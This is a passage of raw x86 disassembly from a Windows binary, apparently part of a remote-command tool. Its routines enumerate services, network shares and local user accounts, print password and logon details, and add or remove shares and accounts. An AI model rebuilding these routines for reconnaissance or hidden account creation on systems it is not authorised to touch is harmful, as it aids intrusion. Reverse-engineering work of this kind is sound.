		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: _0:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: _0:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_443A78
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------

loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_443A78
		call	sub_4172AE
		add	esp, 0Ch

loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_443A78
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_43F65C	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_43F628	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40DA25
		call	ds:dword_42408C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40DAD9

loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]

loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"

loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36

loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB

loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	ds:dword_43F56C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------

loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax

loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	ds:off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch

loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30

loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	ds:off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443D34
		lea	eax, [eax+eax*2]
		push	ds:off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172AE
		add	esp, 0Ch

loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F86+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	ds:byte_443F34,	1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	ds:byte_443F34,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ds:dword_443CD4, eax

loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_443CD4
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, ds:dword_443CD4
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_43F568
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F86+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_43F540
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_43F5B4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------

loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_43F55C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"

loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi

loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	ds:dword_43F6F8

loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax

loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84

loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	ds:off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	ds:off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443F38
		lea	eax, [eax+eax*2]
		push	ds:off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172AE
		add	esp, 0Ch

loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_43F54C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_43F53C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_43F6C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172AE
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown_0 ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"

loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172AE
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------

loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172AE
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h

loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	ds:dword_43F6F8

loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
